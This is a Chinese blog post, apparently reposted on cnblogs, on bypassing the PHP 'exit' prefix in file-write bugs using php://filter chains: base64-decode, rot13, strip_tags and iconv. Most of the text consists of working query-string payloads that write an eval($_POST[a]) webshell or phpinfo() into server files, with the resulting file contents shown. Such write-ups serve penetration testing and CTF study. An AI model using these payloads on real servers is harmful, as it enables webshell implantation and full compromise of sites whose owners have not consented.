文件包含之exit死亡绕过
<?php
$content = '<?php exit(); ?>' . $_POST['data'];
file_put_contents($file, $content);
include($file);
?>
攻击载荷: data=php://filter/write=convert.iconv.UCS-4*.UCS-
4LE*/resource=shell.php
POST: 经过UCS-4编码的webshell
例如:
破坏 <?php exit(); ?>
$original = "<?php exit(); ?>";
经过:UTF-8 → UTF-16 → UTF-8
$chain = "convert.iconv.UTF-8.UTF-16|convert.iconv.UTF-16.UTF-8";
结果:字节被破坏,但我们的payload存活
二、原文链接:https://blog.csdn.net/woshilnp/article/details/117266628(吊爆了)
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)那么这种情况下,如何绕过这个“死亡exit”?
思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以了。
这里的$_POST['filename']是可以控制协议的.
(1)base64绕过
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。
由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符。这样前边的phpexit加上另一个字符就会被base64解码,然后后边的我们精心构造的base64字符串也会被成功解码为php代码。
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
成功写入:

(2)rot13绕过(这个方法的前提条件就是不开启短标签)
<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:
一、写入木马
?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG[n]);
写入:
<?cuc rkvg();<?php eval($_POST[a]);
二、写入phpinfo()
?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc cucvasb();
写入:
<?cuc rkvg; ?><?php phpinfo(); ?>
(3)string.strip_tags
strip_tags— 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()一样的机制去除标记。

1、webshell用base64编码 //为了避免strip_tags的影响
2、调用string.strip_tags //这一步将去除<?php exit; ?>
3、调用convert.base64-decode //这一步将还原base64编码的webshell
?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
写入:
<?php eval($_POST[a]);
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627504

浙公网安备 33010602011771号